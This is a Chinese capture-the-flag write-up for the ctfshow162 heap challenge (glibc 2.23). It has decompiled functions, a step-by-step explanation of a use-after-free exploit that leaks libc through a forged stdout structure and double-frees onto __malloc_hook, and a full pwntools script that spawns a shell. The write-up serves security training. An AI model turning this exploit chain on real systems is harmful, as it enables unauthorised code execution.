ctfshow162
题目:ctfshow162
本题远程环境:Ubuntu 16.04,libc版本为2.23
函数分析:
main函数:
平平无奇,菜单选项。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_9DA(a1, a2, a3);
sub_A44();
puts("Well,do you know daniu or niufuren?");
while ( 1 )
{
while ( 1 )
{
sub_B0E();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
sub_D5C();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
sub_DEA();
}
else
{
if ( v3 == 4 )
{
puts("See you next time ~");
exit(0);
}
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
sub_B89();
}
}
}
add模块
函数限制只能创建0x13个chunk,会自动创建一个0x28大小(不含表头)的结构chunk,然后输入size的值,不能大于0x7F。写入名字和内容。
int sub_B89()
{
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
size = 0;
if ( (unsigned int)dword_20203C > 0x13 )
return puts("Too much!!!");
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
puts("size of the daniu's name: ");
__isoc99_scanf("%u", &size);
if ( size == -1 )
exit(-1);
if ( size <= 0x7F && size )
{
buf = malloc(size);
if ( !buf )
{
puts("Error !!");
exit(-1);
}
puts("daniu's name:");
read(0, buf, size);
*((_QWORD *)s + 1) = buf;
puts("daniu's message:");
__isoc99_scanf("%23s", (char *)s + 16);
*(_DWORD *)s = 1;
for ( size_4 = 0; size_4 <= 0x13; ++size_4 )
{
if ( !qword_202040[size_4] )
{
qword_202040[size_4] = s;
break;
}
}
++dword_20203C;
return puts("Added!");
}
else
{
puts("size error!!");
return 0;
}
}
free模块
有uaf漏洞,可以考虑double free。
int sub_DEA()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !dword_20203C )
return puts("Null!");
puts("daniu's index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 && qword_202040[v1] )
{
*(_DWORD *)qword_202040[v1] = 0;
free(*(void **)(qword_202040[v1] + 8LL));
return puts("Deleted!");
}
else
{
puts("index error!");
return 0;
}
}
过程
-
函数没有输出和编辑模块,因此,这里我们可以采取利用IO泄露libc地址,然后double free 申请到malloc_hook上挂one_gadget
-
最开始,我们先需要再unsorted bin上构造堆叠,为之后的double free做准备,并且可以通过unsorted bin attack来劫持fd 和 bk指针向 stdout结构体附近搞,使我们可以控制stdout结构体上的数据,从而修改_ flag_和缓冲区指针的值。
-
那么问题来了,怎么构造呢,我们先申请5个chunk,大小分别为0x30,0x70,0x70,0x90,0x20 (含chunk头)记作0,1,2,3,4,加上程序自动创建的结构chunk,共10个。其中0 3用来unsoted bin attach,加低字节修改,将指针指向stdout 附近,而1 2用来构造double free 并且执行
-
首先释放0 和 3 ,再去申请一个0x70大小的chunk记作5,这时,原本的0会作为5的结构chunk,5则会从3里面切出0x70的大小作为自己的chunk。并会留下0x20大小的chunk。


- 申请时顺便修改其内容,使它原本free状态下的fd bk指针指向stdout附近(不知道libc基质,通过修改低位俩字节偏移)


-
要考虑fastbin会检查size是否合法,因此申请到这里,然后向下填充区改stdout的_ flag_
-
接下来构造double free

- 申请,修改fd到我们的伪造的地址处,达到连续申请控制stdout的目的

- 连续申请,根据位置修改,_ flag_的值为0xfbad1800,缓冲区指向的地址,这里因为不知libc地址可以就近更改,这里将其低字节1为改为00,修改前后如图所示。


- 我们可以看到修改后的缓冲区是有libc相关的地址的

- 继续执行,当到了执行输出函数时刷新缓冲区,便会输出这里的内容。

- 后门便是挂钩子之类的不必多说,直接上exp。

EXP
from pwn import *
from LibcSearcher import *
from ctypes import *
import pwnlib
import time
context.arch='amd64'
p = process('./pwn2')
#p= remote(b'pwn.challenge.ctf.show',28184)
context.log_level = 'debug'
elf=ELF('./pwn')
#libc =ELF('./libc.so.6')
libc = ELF('/home/yxhueimie/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so') # 2.23-0ubuntu3_amd64/2.23-0ubuntu11.3_i386/
#one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
#one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach()
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,b"\x00"))
def get_addr(mode = 0):
if mode == 0:
return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
elif mode == 1:
return u64(p.recv(6).ljust(8, b'\x00'))
elif mode == 2:
return int(p.recv(12), 16)
elif mode == 3:
return int(p.recv(16), 16)
else :
return 0
def add(size,data,data1):
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(size))
sa(b"daniu's name:",data)
sa(b"daniu's message:",data1)
sl(b"2")
def free(idx):
sla(b"Your choice : ",b"3")
sla(b"daniu's index:",str(idx))
##------------------------------
def lotadd(s,e):
for i in range(s,e):
add(1,b'1')
def lotfree(s,e):
for i in range(s,e):
free(i)
##------------------------------
gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa") #0
add(0x68,b"aaaa",b"aaaa") #1
add(0x68,b"aaaa",b"aaaa") #2
add(0x7f,b"aaaa",b"aaaa") #3
add(0x18,b"aaaa",b"aaaa") #4
free(0)
free(3)
#gdb.attach(p,'b *$rebase(0xBC6)')
add(0x60,offset,offset) #5
free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0") #6
add(0x68,b"\xd0",b"\xd0") #7
add(0x68,b"\xd0",b"\xd0") #8
add(0x68,b"\xd0",b"\xd0") #9
sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:\n",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
ru(b'A'*0x20)
p.recv(0x28+0x8+0x8)
libc_base = get_addr(1)
print("libc_base11111=======>",hex(libc_base))
libc_base = libc_base-0x3c56a3
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")
#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk
free(1)
free(2)
free(1)
add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")
#===============================================================================
#shell
add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")
ia()

浙公网安备 33010602011771号